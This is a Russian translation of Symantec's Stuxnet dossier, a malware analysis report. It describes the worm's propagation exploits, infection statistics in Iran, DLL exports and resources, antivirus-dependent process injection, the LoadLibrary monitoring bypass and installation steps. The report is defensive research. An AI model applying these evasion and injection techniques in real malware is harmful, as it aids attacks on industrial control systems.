Досье на W32. Stuxnet Версия 1.4 (февраль 2011 г.)

Несмотря на то, что большая часть анализа кода Stuxnet уже проведена, данный червь представляет собой невероятно объемную и многогранную угрозу. Авторы намерены вносить изменения в этот документ по мере появления новой информации или её публичного раскрытия. В подготовке данной работы, которая велась последние три месяца, помимо указанных авторов участвовали многие члены команды Symantec Security Response. Без их помощи этот доклад был бы невозможен.

Введение

В последнее время код W32.Stuxnet привлекает много внимания со стороны исследователей и СМИ, и на то есть объективные причины. Stuxnet – это одна из самых сложных угроз, что мы анализировали. В этой работе мы детально изучаем код Stuxnet и его различные составляющие, при этом особый упор делается на конечную цель Stuxnet, а именно перепрограммирование систем промышленного контроля. Stuxnet – это объемная и многогранная вредоносная программа с множеством различных компонентов и функциональных возможностей. Некоторые компоненты были нами описаны в наших блогах[1] по указанной тематике. Определенная часть информации из этих блогов приведена в этой работе, однако в рамках данного документа предлагается более всесторонний и тщательный анализ угрозы.

Stuxnet – это угроза, которая в первую очередь была написана для поражения системы промышленного контроля или ряда схожих систем. Системы промышленного контроля применяются в управлении газопроводами и электростанций. Конечная цель – перепрограммировать системы промышленного контроля путем модификации кода в программируемых логических контроллерах (ПЛК) с тем, чтобы подчинить их воле атакующего, а также скрыть эти изменения от пользователя. Для достижения этой цели и повышения своих шансов на успех создатели Stuxnet накопили широкий арсенал компонентов. Они включают в себя эксплойты «нулевого дня» [zero-day exploits], Windows rootkit, первый rootkit ПЛК [first ever PLC rootkit], способы уклонения от антивируса, сложный код для внедрения в процесс и зацепления [complex process injection and hooking code], программы заражения сети [network infection routines], обновления точка-к-точке [peer-to-peer updates], а также интерфейсы контроля и управления [command and control interface]. Мы рассматриваем каждый элемент Stuxnet для того, чтобы детально понять, как работает эта угроза, одновременно принимая во внимание, что конечная цель угрозы – это наиболее интересный и значимый аспект.

Краткое содержание

Stuxnet поражает определенные системы промышленного контроля, по-видимому, в Иране, такие как газопроводы или электростанции. Конечная цель Stuxnet – саботировать объект инфраструктуры путем перепрограммирования программируемых логических контроллеров (ПЛК) с тем, чтобы подчинить их воле атакующего, скорее всего выходя при этом за рамки изначального функционала.

Stuxnet был обнаружен в июле, однако уже доказано, что он существовал как минимум и годом ранее, а возможно и еще раньше. Большая часть заражений была обнаружена в Иране. Stuxnet обладает многими отличительными чертами, а именно:

Cамокопирование посредством сменных механизмов, использующих уязвимость, позволяющую автовыполнение: Microsoft Windows Shortcut “LNK/PIF” Files Automatic File Execution Vulnerability (BID 41732);
Распространение по сети через уязвимость в Буфере Печати Windows: Microsoft Windows Print Spooler Service Remote Code Execution Vulnerability (BID 43073);
Распространение через блок системных сообщений [SMB], используя Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability (BID 31874);
Авто-копирование и авто-выполнение на удаленных компьютерах через разделение сетей;
Авто-копирование и авто-выполнение на удаленных компьютерах через сервер базы данных WinCC;
Авто-копирование в проекты Step 7 таким образом, что он автоматически выполняется, когда проект Step 7 загружен;
Самообновление через механизм соединения точка-к-точке в пределах локальной вычислительной сети (ЛВС);
Использование в общей сложности всех четырех неисправленных уязвимостей Microsoft, две из которых выше упомянуты – для возможности самокопирования, а остальные две – это повышение скрытности уязвимостей, которые должны все же быть обнаружены;
Связь с сервером контроля и управления, который позволяет хакеру загружать и выполнять код, включая обновленные версии;
Содержит Windows rootkit, который скрывает его двоичный код;
Попытки обойти средства обеспечения безопасности;
Делает слепок определенной системы промышленного контроля и изменяет код в ПЛК Siemens, чтобы потенциально осуществить саботаж системы;
Скрывает измененный код на ПЛК, что по существу представляет собой rootkit для ПЛК.

Сценарий атаки

Ниже представлен возможный сценарий атаки, который является лишь предположением, основанным на технических особенностях Stuxnet.

Системы промышленного контроля управляются специализированным кодом наподобие ассемблера на программируемых логических контроллерах (ПЛК). ПЛК часто программируются с компьютеров Windows, не подключенных к Интернету или даже к внутренней сети. Кроме того, сами системы контроля производством также вряд ли подключены к интернету.

Для начала злоумышленникам необходимо было произвести разведку. Поскольку каждый ПЛК настроен уникальным образом, атакующим в первую очередь нужны схемы системы промышленного контроля. Эти проектные документы могли быть украдены кем-либо изнутри (инсайдером) или даже могли быть получены более ранней версией Stuxnet, а также иным вредоносным двоичным кодом. После того как атакующие завладели проектными документами и потенциальными знаниями о вычислительной среде на предприятии они разработали последнюю версию Stuxnet. Каждая функция Stuxnet была придана этому коду для определенной цели, а также для реализации конечной задачи – потенциально саботировать системы промышленного контроля.

Атакующим понадобится развернуть зеркальную среду, которая бы включала необходимое оборудование системы промышленного контроля, такое как ПЛК, модули и периферийные устройства с тем, чтобы протестировать свой код. Полный цикл может занять шесть месяцев, а в разработке кода, предположительно, приняли участие от пяти до десяти основных разработчиков, не считая множество других лиц, в том числе для обеспечения качества, а также осуществления руководства.

Кроме того, их вредоносные двоичные коды содержали файлы драйверов, которые во избежание подозрений требовали цифровой подписи. Для выполнения этой задачи злоумышленники взломали два цифровых сертификата – для этого атакующим было нужно получить цифровые сертифкаты у кого-то, кто обладал допуском к территориям двух компаний и, как следствие, украл их, поскольку эти две компании находятся в непосредственной близости друг от друга.

Чтобы инфицировать свою цель, Stuxnet необходимо ввести в целевую среду. Это могло произойти путем заражения как заинтересованной, так и не осведомленной третьей стороны, вроде подрядчика, у которого был бы доступ к предприятию, или инсайдера. Первоначальное заражение могло быть произведено посредством съемного диска.

Сразу после заражения компьютера в организации Stuxnet начал распространяться в поисках программаторов Field PG, которые являются обычными компьютерами с Windows, но используются для программирования ПЛК. Поскольку большинство этих компьютеров не подключены к сети, Stuxnet сначала попытается распространиться на другие компьютеры в локальной сети через уязвимость нулевого дня, уязвимость двухлетней давности, путем заражения проектов Step 7, а также через съемные диски. Распространение через локальную сеть, вероятно, служило первым шагом, а распространение через съемные диски – способом совершить последний скачок к Field PG, который никогда не подключается к ненадежной сети.

Хотя злоумышленники могли контролировать Stuxnet с помощью сервера управления и контроля, как упоминалось ранее, ключевой компьютер вряд ли имел исходящий доступ в Интернет. Таким образом, все технические возможности, необходимые для саботажа системы, былы встроены непосредственно в исполняемый файл Stuxnet. Обновления этого исполняемого файла будут распространяться по всему объекту посредством метода точка-к-точке, который устанавливает Stuxnet.

Когда Stuxnet наконец нашел подходящий компьютер, выполнявший Step 7, он изменил код на ПЛК. Эти модификации, вероятно, саботировали систему, которая, исходя из тех больших ресурсов, что были вложены в создание Stuxnet, рассматривалась как важная цель.

Жертвы, которые пытаются определить источник проблемы, не видят никакого мошеннического кода ПЛК, поскольку Stuxnet скрывает свои модификации.

Хотя их выбор в пользу методов самовоспроизведения мог быть продиктован необходимостью гарантировать, что подходящий Field PG будет найдет, эти методы также нанесли заметный побочный ущерб, заразив машины за пределами целевой организации. Нельзя исключать и того, что данный ход расценивался злоумышленниками как необходимый элемент для эффективного достижения намеченной цели. Кроме того, атакующие, вероятно, успели завершить свою первоначальную атаку до того, как их обнаружили.

Хронология

Таблица 1

Хронология W32.Stuxnet

Дата	Событие
20 ноября 2008	Обнаружен вариант трояна Zlob, использующий уязвимость LNK, которая была позднее обнаружена в Stuxnet
Апрель 2009	Журнал по вопросам безопасности Hakin9 публикует подробности об уязвимости удаленного выполнения кода, содержащейся в буфере печати [Printer Spooler]. Позже обозначена как MS10-061.
Июнь 2009	Обнаружен самый ранний из образцов Stuxnet. Не использует MS10-046. Не имеет подписанных файлов драйверов.
25 января 2010	Драйвер Stuxnet подписан действительным сертификатом, принадлежащим Realtek Semiconductor Corps.
Март 2010	Первый вариант Stuxnet, использующий MS10-046.
17 июня 2010	ВирусБлокАда сообщает об обнаружении W32.Stuxnet (назван RootkitTmphider), а также что вирус использует уязвимость при обработке ярлыков и файлов /.lnk для распространения (позже обозначен как MS10-046).
13 июля 2010	Symantec добавляет обнаружение под названием W32.Temphid (ранее определялся как троянская программа).
16 июля 2010	Майкрософт выпускает рекомендации по безопасности «Уязвимость в оболочке Windows делает возможным удаленное выполнение кода (2286198)», которые покрывают уязвимость при обработке ярлыков и файлов /.lnk. Verisign аннулирует сертификат Realtek Semiconductor Corps.
17 июля 2010	Eset идентифицирует новый драйвер Stuxnet, на этот раз подписанный сертификатом от JMicron Technology Corp.
19 июля 2010	Siemens сообщает, что они расследуют сообщения о вредоносных программах, заражающих системы Siemens WinCC SCADA. Symantec переименовывает обнаружение в W32.Stuxnet.
20 июля 2010	Symantec отслеживает трафик контроля и управления Stuxnet.
22 июля 2010	Verisign аннулирует сертификат JMicron Technology Corps.
2 августа 2010	Майкрософт выпускает MS10-046, который исправляет уязвимость ярлыка Windows Shell.
6 августа 2010	Symantec сообщает, как Stuxnet может вводить и скрывать код в ПЛК, влияющий на системы промышленного контроля.
14 сентября 2010	Майкрософт выпускает MS10-061 для исправления уязвимости в буфере печати, обнаруженной Symantec в августе. Майкрософт сообщает о двух других уязвимостях расширения привилегий, обнаруженных Symantec в августе.
30 сентября 2010	Symantec делает заявление на Virus Bulletin и выпускает всесторонний анализ Stuxnet.

Статистические данные инфицирования

20 июля 2010 г. Symantec установила систему для мониторинга трафика к серверам контроля и управления (C&C) Stuxnet. Это позволило нам наблюдать за темпами заражения и определять расположение зараженных компьютеров для того, чтобы в сотрудничестве с CERT и другими организациями в конечном итоге проинформировать зараженные стороны. Система идентифицировала трафик контроля и управления только с тех компьютеров, которые могли подключаться к серверам контроля и управления. Данные, отправляемые обратно на эти серверы, зашифрованы и включают такие данные, как внутренний и внешний IP-адрес, имя компьютера, версия ОС и запущено ли на нем программное обеспечение промышленного управления Siemens SIMATIC Step 7.

По состоянию на 29 сентября 2010 г. было обнаружено около 100 тыс. зараженных хостов. На следующем графике продемонстрировано количество отдельных зараженных хостов на одну страну:

Рисунок 1

Инфицированные хосты[2]

На следующем графике показано количество зараженных организаций по странам на основе IP-адресов WAN:

Рисунок 2

Инфицированные организации (через WAN IP)

Мы изучили более 40 000 уникальных внешних IP-адресов из более чем 155 стран. Если посмотреть на процент зараженных хостов по странам, можно увидеть, что примерно 60% зараженных хостов находятся в Иране:

Рисунок 3

Географическое распределение инфицирования[3]

Stuxnet стремится идентифицировать те хосты, на которых установлено программное обеспечение Siemens Step 7. На следующей диаграмме показан процент зараженных хостов по странам с установленным программным обеспечением Siemens.

Рисунок 4

Процент зараженный Stuxnet’ом хостов с установленным программным обеспечением Siemens

Анализируя количество новых зараженных IP-адресов за день, 22 августа мы заметили, что из Ирана больше не поступают сообщения о новых заражениях. Скорее всего, это произошло из-за того, что Иран заблокировал внешние подключения к серверам контроля и управления, а не из-за снижения количества заражений.

Рисунок 5

Скорость заражения Stuxnet новых IP по странам[4]

Концентрация инфекций в Иране, вероятно, указывает на то, что это была первоначальная цель для инфекций и именно там они были изначально засеяны. Хотя Stuxnet представляет собой нацеленную угрозу, использование различных методов распространения (которые будут обсуждены позже) означает, что Stuxnet распространился за пределы первоначальной цели. Эти дополнительные инфекции, скорее всего, являются «сопутствующим ущербом» - непреднамеренными побочными действиями, появившиеся в результате приминения беспорядочной методологии начального распространения, используемой Stuxent. Хотя уровень заражения, вероятно, снизится по мере того, как пользователи исправят свои компьютеры для защиты от уязвимостей, используемых для распространения, черви этого характера обычно продолжают распространяться через незащищенные и необновленные компьютеры.

К февралю 2010 года мы собрали 3280 уникальных образцов, представляющих три различных варианта. Как описано в разделе «Блок данных конфигурации», Stuxnet делает временную отметку вместе с другой системной информацией внутри себя каждый раз, когда происходит новое заражение. Таким образом, каждый образец содержит историю каждого зараженного компьютера, включая первое заражение. Используя эти данные, мы можем определить:

Stuxnet представлял собой целенаправленную атаку на пять различных организаций, основанную на зарегистрированном доменном имени компьютера;
12 тыс. случаев заражения можно отследить до этих 5 организаций;
Три организации подверглись атаке один раз, одна - дважды, а третья – трижды;
Домен A подвергался атакам дважды (в июне 2009 г. и апреле 2010 г.);
Каждый раз оказывается, что один и тот же компьютер заражен;
Домен B подвергался атакам трижды (в июне 2009 г., марте 2010 г. и мае 2010 г.);
Домен C был атакован один раз (в июле 2009 г.);
Домен D был атакован один раз (в июле 2009 г.);
Домен E, по-видимому, был атакован один раз (в мае 2010 г.), но имел три начальных заражения (то есть тот же изначально зараженный USB-ключ был вставлен в три разных компьютера);
12 тыс. случаев инфицирования произошли в результате этих первых 10 случаев;
Было зарегистрировано 1 800 различных доменных имен;
Организации подвергались нападениям в июне 2009 г., июле 2009 г., марте 2010 г., апреле 2010 г. и мае 2010 г.;
Все организации, которые были подвергнуты нападениям, представлены в Иране;
Самый короткий промежуток времени между этапом компиляции и начальным заражением составил 12 часов;
Самый длинный промежуток времени между этапом компиляции и первоначальным заражением составил 28 дней;
Средний промежуток времени между этапом компиляции и первоначальным заражением составил 19 дней;
Срединное значение между этапом компиляции и начальным заражением составило 26 дней.

Обращаем внимание на то, что любая информация о времени может быть неверной из-за разницы часовых поясов или неправильно установленного системного времени.

В следующей таблице представлены подробные сведения о изначальных целях.

Таблица 2

Волны атаки против изначальных целей

Волна атаки	Место	Этап компиляции	Время инфицирования	Время, потребовавшееся для инфицирования
Волна атаки 1	Домен А	22 июня 2009 г., 16:31:47	23 июня 2009 г., 4:40:16	0 дн. 12 ч.
	Домен В	22 июня 2009 г., 16:31:47	28 июня 2009 г., 23:18:14	6 дн. 6 ч.
	Домен С	22 июня 2009 г., 16:31:47	7 июля 2009 г., 5:09:28	14 дн. 12 ч.
	Домен D	22 июня 2009 г., 16:31:47	7 июля 2009 г., 9:27:09	26 дн. 16 ч.
Волна атаки 2	Домен B	1 марта 2010 г., 5:52:35	23 марта 2010 г., 6:06:07	22 дн. 0 ч.
Волна атаки 3	Домен А	14 апреля 2010 г., 10:56:22	26 апреля 2010 г., 9:37:36	11 дн. 22 ч.
	Домен E	14 апреля 2010 г., 10:56:22	11 мая 2010 г., 6:36:32	26 дн. 19 ч.
	Домен E	14 апреля 2010 г., 10:56:22	11 мая 2010 г., 11:45:53	27 дн. 0 ч.
	Домен E	14 апреля 2010 г., 10:56:22	11 мая 2010 г., 11:46:10	27 дн. 0 ч.
	Домен B	14 апреля 2010 г., 10:56:22	13 мая 2010 г., 5:02:23	28 дн. 18 ч.

Данный график демонстрирует время между этапом компиляции и первым инфицированием.

Рисунок 6

Количество дней до заражения

На следующем графике показаны кластеры инфекций, возникшие в результате 10 различных начальных заражений. Каждая инфекция - это черный кружок. Красные кружки представляют собой вариант, который был применен. Другие цветные кружки представляют начальную инфекцию, причем каждый начальный домен имеет свой цвет (зеленый, желтый, синий, фиолетовый и оранжевый).

Рисунок 7

Кластеры заражений на основе изначальных инфицирований[5]

Всего существует 10 кластеров, представляющих 10 начальных заражений. Атака на Домен B в марте 2010 г. распространилась наиболее успешно. Ранние атаки в июне 2009 г. показывают наименьшее количество инфекций, однако эти цифры искажены из-за небольшого числа извлеченных в июне 2009 г. проб.

На следующем рисунке показан увеличенный вид правой нижней части изображения. Этот кластер представляет собой атаку на домен E с начальным временем заражения 11 мая 2010 г. 11:46:10 с вариантом апреля 2010 г.

Рисунок 8

Атака на домен Е в деталях

Вы можете заметить, что график в основном имеет линейные ветви, что говорит о том, что одно заражение поражает не несколько компьютеров, а только один. Хотя это частично связано с кодом ограничения скорости в Stuxnet - например, в случае заражения через USB вирус удалит себя с USB-ключа после третьего инфицирования - более важным фактором может быть ограниченное количество восстановленных образцов. Дополнительные образцы, вероятно, дадут гораздо больше ответвлений.

Все механизмы распространения Stuxnet основаны на ЛВС, и поэтому конечная цель должна располагаться в непосредственной близости от сети, которая была изначально инфицирована. Тем не менее, поразив 1 800 различных компьютерных доменов из 12 000 заражений, Stuxnet явно избежал проблем с исходными организациями благодаря сотрудничеству с партнерскими организациями.

Рисунок 9 демонстрирует, какие варианты привели к наибольшему количеству заражений из примерно 12 000 случаев инфицирования.

Рисунок 9

Степень распространения различных вариантов вируса

На мартовский вариант 2010 г. приходится 69% всех заражений, что означает, что этот вариант мог быть посеян более успешно. Обратите внимание, что одна организация была подвержена атаке в марте 2010 г., а также была атакована в июне 2009 г. и в апреле 2010 г., и ни одна из этих попыток не привела к такому количеству заражений, как в марте. Хотя можно было бы ожидать меньших показателей заражения для варианта июня 2009 г., поскольку он имел меньше методов репликации, вариант апреля 2010 г. практически идентичен варианту марта 2010 г. Таким образом, к значительно разным скоростям распространения привели либо разные начальные вирусные данные в рамках одной организации (например, посев на компьютер в отделе с меньшими ограничениями компьютерной безопасности), либо имеющиеся на эту тему данные искажены из-за небольшого процента восстановленных образцов.

Архитектура Stuxnet

Структура

Stuxnet обладает сложной архитектурой, на которой следует остановиться прежде чем идти дальше с нашим анализом.

Основу Stuxnet составляет большой .dll файл, который содержит много различных экспортов и ресурсов. Кроме большого .dll файла Stuxnet включает в себя два шифрованных конфигурационных блока.

Засылающий компонент (dropper) Stuxnet является программой- оболочкой, которая содержит все вышеуказанные компоненты, хранимые внутри себя в разделе stub. Этот раздел stub является интегрирующим в работе Stuxnet. Когда угроза начинает реализовываться, оболочка извлекает .dll файл из раздела stub, размещает его в памяти как модуль и вызывает один из экспортов.

Указатель на исходный раздел stub передается этому экспорту как параметр. Этот экспорт, в свою очередь, извлекает .dll файл из раздела stub, который был передан как параметр, размещает его в памяти и вызывает другой экспорт из размещенного в памяти .dll файла. Указатель на исходный раздел stub вновь передается как параметр. Это происходит постоянно, пока вирус работает, так что исходный раздел stub постоянно передается различным процессам и функциям в качестве параметра, доходя до главной поражающей части. Таким образом, каждый уровень данного вируса всегда имеет доступ к главной .dll и конфигурационным блокам.

В дополнение к загрузке .dll файла в память и вызова экспорта напрямую, также Stuxnet использует другой способ для вызова экспортов из главного .dll файла. Этот метод заключается в чтении исполняемого шаблона из его собственных ресурсов, заполнении шаблона необходимыми данными, например, какой файл .dll нужно загрузить и какой экспорт вызвать, а также во внедрении этого заполненного исполняемого файл в другой и его выполнении. Вновь заполненный исполняемый шаблон загружает исходный .dll файл и вызывает любой экспорт, находящийся в шаблоне.

Хотя угроза использует эти два различных метода для вызова экспорта в основном файле .dll, должно быть ясно, что все функциональные возможности угрозы могут быть установлены путем анализа всех экспортов из основного файла .dll.

Экспорты

Как сказано выше, основной .dll файл содержит весь код, управляющий данным червем. Каждый экспорт из этого .dll файла имеет свое назначение, которое указано в таблице 3.

Таблица 3

Экспорты DLL

№ экспорта	Функция
1	Инфицирование подсоединенного сменного носителя, запуск сервера RPC
2	Зацепление APIs (программных интерфейсов) для инфицирования файла проекта Step 7
4	Вызов процедуры удаления (экспорт 18)
5	Проверка правильности установки вируса
6	Проверка информации о версии
7	Вызов экспорта 6
9	Обновление самого себя из инфицированных проектов Step 7
10	Обновление самого себя из инфицированных проектов Step 7
14	Процедура инфицирования файла проекта Step 7
15	Начальная точка входа
16	Основная инсталляция
17	Замена DLL Step 7
18	Удаление Stuxnet
19	Инфицирование сменных носителей
22	Процедуры сетевого размножения
24	Проверка Интернет-подключения
27	RPC Сервер
28	Процедура контроля и управления
29	Процедура контроля и управления
31	Обновление самого себя из инфицированных проектов Step 7
32	То же, что и 1.

Ресурсы

Основной .dll файл содержит также многообразные ресурсы, которые используются экспортами в процессе управления червем. Ресурсы варьируются от полных файлов .dll до исполняемых файлов шаблонов, файлов конфигурации и модулей эксплойтов.

Эти ресурсы перечислены в таблице 4.

Таблица 4

Ресурсы DLL

ID	Функция
201	Драйвер загрузки MrxNet.sys, подписан сертификатом Realtek
202	DLL для инфицирования Step 7
203	CAB файл для инфицирования WinCC
205	Файл данных для ресурса 201
207	Версия Stuxnet с Autorun
208	DLL замещения Step 7
209	Файл данных (%windows%helpwinmic.fts)
210	Шаблонный PE файл, использующийся для внедрения (injection)
221	Эксплойт MS08-067 для распространения через SMB.
222	Эксплойт уязвимости буфера печати MS10-061
231	Проверка Интернет-подключения
240	Файл шаблона LNK, использующийся для построения эксплойта LNK
241	USB загрузчик DLL ~WTR4141.tmp
242	Драйвер руткита MRxnet.sys
250	Эксплойт Windows Win32k.sys Local Privilege Escalation (MS10-073)

Обход блокировки необычного поведения при загрузке DLL

Поскольку Stuxnet должен загрузить DLL, он использует специальный метод для преодоления блокировки неправильного поведения (behavior-blocking) и защиты от вторжения (intrusion-protection), основанной на технологии мониторинга вызовов LoadLibrary. Stuxnet вызывает LoadLibrary со специально созданным именем файла, которого нет на диске и который обычно вызывает сбой LoadLibrary. W32.Stuxnet цепляется за Ntdll.dll, чтобы следить за запросами на загрузку специальных имен файлов, а местоположение списка этих имен W32.Stuxnet подменяет. Это место обычно представляет собой область памяти, в которой ранее был расшифрован и сохранен файл .dll. Используемые имена файлов имеют шаблон KERNEL32.DLL.ASLR. [HEXADECIMAL] или SHELL32.DLL.ASLR. [HEXA-DECIMAL], где переменная [HEXADECIMAL] - шестнадцатеричное значение.

Для этой цели используются следующие функции, которые цепляются за Ntdll.dll:

ZwMapViewOfSection;
ZwCreateSection;
ZwOpenFile;
ZwCloseFile;
ZwQueryAttributesFile;
ZwQuerySection.

После загрузки файла .dll с помощью метода, показанного выше, осуществляется поиска адреса конкретного экспорта из файла .dll при помощи GetProcAddress, и этот экспорт вызывается, передавая управление этому новому файлу .dll.

Внедрение в процесс

Каждый раз, когда вызывается некий экспорт, Stuxnet обычно внедряет всю DLL в другой процесс, и затем вызывает конкретный экспорт. Stuxnet может внедриться в существующий или вновь создаваемый произвольный процесс или в доверенный процесс. Он может также заставить доверенный процесс внедрить код в другой работающий процесс.

Доверенные процессы - это набор процессов Windows и различные процессы антивирусных продуктов. Список их постоянно работающих процессов следующий:

Kaspersky KAV (avp.exe);
Mcafee (Mshield.exe);
AntiVir (avguard.exe);
BitDefender (bdagent.exe);
Etrust (UmxCfg.exe);
F-Secure (fsdfwd.exe);
Symantec (rtvscan.exe);
Symantec Common Client (ccSvcHst.exe);
Eset NOD32 (ekrn.exe);
Trend Pc-Cillin (tmpproxy.exe).

Кроме того, в реестре ищутся индикаторы наличия следующих программ:

KAV v6 to v9;
McAfee;
Trend PcCillin.

Если обнаружен процесс одного из этих антивирусных средств, извлекается номер версии его главного образа. На базе номера версии определяется целевой процесс для внедрения. Если червь считает, что антивирус не может быть обойден, процесс внедрения прекращается.

Потенциальные целевые процессы для внедрения следующие:

Lsass.exe;
Winlogin.exe;
Svchost.exe;
Процесс установленного антивируса.

В таблице 5 указано, какой процесс используется для внедрения в зависимости от того, какой антивирус установлен. Кроме того, перед внедрением Stuxnet определит, нужно ли ему использовать одну из двух нераскрытых в настоящее время уязвимостей повышения привилегий. Затем Stuxnet выполняет целевой процесс в приостановленном режиме.

Таблица 5

Внедрение в процесс

Установленный антивирус	Целевой процесс внедрения
KAV v1 to v7	LSASS.EXE
KAV v8 to v9	KAV Process
McAfee	Winlogon.exe
AntiVir	Lsass.exe
BitDefender	Lsass.exe
ETrust v5 to v6	Fails to Inject
ETrust (Other)	Lsass.exe
F-Secure	Lsass.exe
Symantec	Lsass.exe
ESET NOD32	Lsass.exe
Trend PC Cillin	Trend Process

Шаблонный PE файл извлекается из самого себя и создается новый раздел с именем .verif. Раздел делается достаточно большим, чтобы адрес точки входа целевого процесса попадал в раздел .verif. По этому адресу в шаблонно PE файле Stuxnet выполняет переход к по-настоящему желаемой точке входа внедренного кода. Эти байты затем записываются в целевой процесс, и вызывается ResumeThread, позволяя процессу выполнить и вызвать введенный код.

Этот способ может обойти продукты безопасности, которые используют блокировку поведения.

В дополнение к созданию нового раздела и исправлению точки входа, раздел .stub файла оболочки .dll (который содержит основной файл .dll и данные конфигурации) отображается в памяти нового процесса с помощью общих разделов. Таким образом у нового процесса появляется доступ к оригинальному разделу .stub. Когда новый внедренный процесс возобновляется, внедренный код распаковывает файл .dll из отображенного раздела .stub и вызывает желаемый экспорт.

Вместо непосредственного выполнения экспорта внедренный код также может получить указание на внедрение в другой произвольный процесс и уже внутри этого вторичного процесса выполнить желаемый экспорт.

Конфигурационный блок данных

Конфигурационный блок данных содержит все значения, используемые для управления Stuxnet в его поведении на зараженном компьютере. Примеры полей этого блока данных можно увидеть в приложении.

Когда создается новая версия Stuxnet (с использованием основной DLL плюс 90-байтовый блок данных, а также данные конфигурации), данные конфигурации обновляются, а также к блоку добавляется блок описания компьютера (закодированный с помощью NOT XOR 0xFF). Блок описания компьютера содержит такую информацию, как имя компьютера, имя домена, версию ОС и зараженные пути S7P. Таким образом, блок данных конфигурации может стать довольно большим, превышающим исходные 744 байта.

Ниже приведен пример блока описания компьютера:

5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [COMPUTER NAME] [DOMAIN NAME] [c:a1. zip:proj.s7p]

Где:

5.1 – основная версия ОС и дополнительная версия;

1/1/0 – флаги, используемые Stuxnet;

2 – флаг, учтоняющий, является ли данный компьютер частью рабочей группы или домена;

2010/09/22-15:15:47 – время инфицирования;

127.0.0.1 - До IP-адресов взломанного компьютера (кроме версии от июня 2009 г.);

[COMPUTER NAME] – имя компьютера;

[DOMAIN NAME] – имя домена или рабочей группы;

[c:a1. zip:proj.s7p] – название файла зараженного файла проекта.

Установка

После первичной загрузки .dll файла первым вызывается экспорт 15. Он определяет версию Windows, проверяет, не заражен ли уже данный компьютер, повышает приоритет текущего процесса до системного, выясняет, какой антивирус установлен и в какой процесс лучше всего внедриться. Затем он внедряет .dll файл в выбранный процесс используя уникальный способ внедрения, описанный в части «Внедрение в процесс», и вызывает экспорт 16.

Рисунок 10

Потоковая диаграмма для экспорта 15

Первая задача в экспорте 15 - проверить, актуальны ли данные конфигурации. Данные конфигурации могут храниться в двух местах. Stuxnet проверяет, какая из них самая последняя, и обрабатывает эти данные конфигурации. Затем Stuxnet определяет, работает он на 64-битном устройстве или нет. Если устройство 64-битное, то червь уходит. На этом этапе он также проверяет, на какой операционной системе данные конфигурации работают. Stuxnet будет работать только в следующих операционных системах:

Win2K;
WinXP;
Windows 2003;
Vista;
Windows Server 2008;
Windows 7;
Windows Server 2008 R2.

Если данные конфигурации не функционируют на одной из этих ОС, то экспорт 15 уйдет.

Затем Stuxnet проверяет, есть ли у него права администратора на компьютере. Stuxnet хочет работать с наивысшими возможными привилегиями, чтобы иметь разрешение на выполнение любых действий на компьютере. Если у него нет прав администратора, он выполнит одну из двух атак повышения привилегий нулевого дня, описанных ниже.

Если у процесса уже есть требуемые права, он переходит к подготовке к вызову экспорта 16 в основном файле .dll. Процесс вызывает экспорт 16 с использованием техники внедрения в процесс, описанной в одноименном разделе.

Когда процесс не имеет прав администратора в системе, он попытается получить эти привилегии, используя одну из двух атак повышения привилегий нулевого дня. Используемый вектор атаки основан на операционной системе компьютера, в который удалось внедриться. Если в качестве операционной системы используется Windows Vista, Windows 7 или Windows Server 2008 R2, то используется нераскрытая в настоящее время уязвимость, связанная с повышением привилегий планировщика заданий [Task Scheduler Escalation]. Если операционная система - Windows XP или Windows 2000, то используется уязвимость Windows Win32k.sys Local Privilege Escalation (MS10-073).

В случае если воспользоваться уязвимостями, то каждая из них приведет к тому, что основной файл .dll запускается как новый процесс, либо в случае уязвимости win32k.sys внутри процесса csrss.exe, либо как новая задача с правами администратора в случае уязвимости планировщика заданий.

Код для использования уязвимости win32k.sys хранится в ресурсе 250. Подробная информация об уязвимости планировщика заданий в настоящее время не опубликована, так как исправления еще не доступны. Уязвимость Win32k.sys описана в разделе «Повышение локальных привилегий Windows Win32k.sys» (MS10-073)».

После того как экспорт 15 завершает необходимые проверки происходит вызов экспорта 16.

Экспорт 16 является главным установщиком Stuxnet. Он проверяет текущую дату и номер версии зараженного компьютера; дешифрует и устанавливает rootkit-файлы и ключи реестра; внедряет самого себя в процесс services.exe для инфицирования сменных накопителей; внедряется в процесс Step 7 для инфицирования проектов Step 7; устанавливает глобальные мьютексы, которые используются для связи между различными компонентами и соединяется с RPC сервером.

Рисунок 11

Потоковая диаграмма процедуры заражения

Экспорт 16 сначала проверяет правильность данных конфигурации, а затем проверяет значение «NTVDM TRACE» в следующем ключе реестра:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionMS-DOS Emulation

Если это значение равно 19790509, то угроза самоликвидируется. Это, скорее всего, маркер инфицирования или так называемый маркер «не заражать»: если он установлен правильно, то заражение не произойдет. Значение может быть случайным и ничего собой не представлять, но также может соответствовать формату маркеров даты, используемых в угрозе. В качестве даты значением может быть 9 мая 1979 г. Эта дата также может быть произвольной, либо это день рождения или другой знаменательный день. ИИ хотя 9 мая 1979 г. произошло множество исторический событий, согласно Википедии «Хабиб Эльганян был расстрелян в Тегеране, что вызвало потрясение в сплоченной иранской еврейской общине. Он был первым евреем и одним из первых гражданских лиц, казненных новым исламским правительством. Это привело к массовому исходу еврейской общины Ирана, которая когда-то составляла 100 тыс. человек, и продолжается по сей день». Symantec предостерегает читателей не делать какие-либо выводы. У злоумышленников будет естественное желание привлечь к себе внимание другой стороны.

Затем Stuxnet считывает дату из данных конфигурации (смещение 0x8c в данных конфигурации). Если текущая дата более поздняя, чем дата в файле конфигурации, то заражение также не произойдёт, и угроза самоустранится. Дата, указанная в текущем файле конфигурации – 24 июня 2012 г.

Stuxnet обменивается данными между различными компонентами через глобальные мьютексы. Stuxnet пытается создать такой глобальный мьютекс, но сначала он будет использовать SetSecurityDescriptorDacl для компьютеров, работающий на Windows XP, а также API SetSecurityDescriptorSacl для компьютеров Windows Vista или более поздних версий, чтобы снизить уровни целостности объектов и, таким образом, гарантировать, что никакие действия записи не будут запрещены.

Далее Stuxnet создает три шифрованных файла. Эти файлы считываются из раздела .stub, Зашифрованные и записанные на диск они следующие:

Главный .dll файл сохраняется как Oem7a.pnf;
Файл с 90-байтными данными копируется в %SystemDrive%infmdmeric3.PNF;
Конфирурационные данные Stuxnet копируются в %SystemDrive%infmdmcpq3.PNF;
Log-файл копируется в %SystemDrive%infoem6C.PNF.

Затем Stuxnet еще раз проверяет дату, чтобы убедиться, что текущая дата – до 24 июня 2012 г.

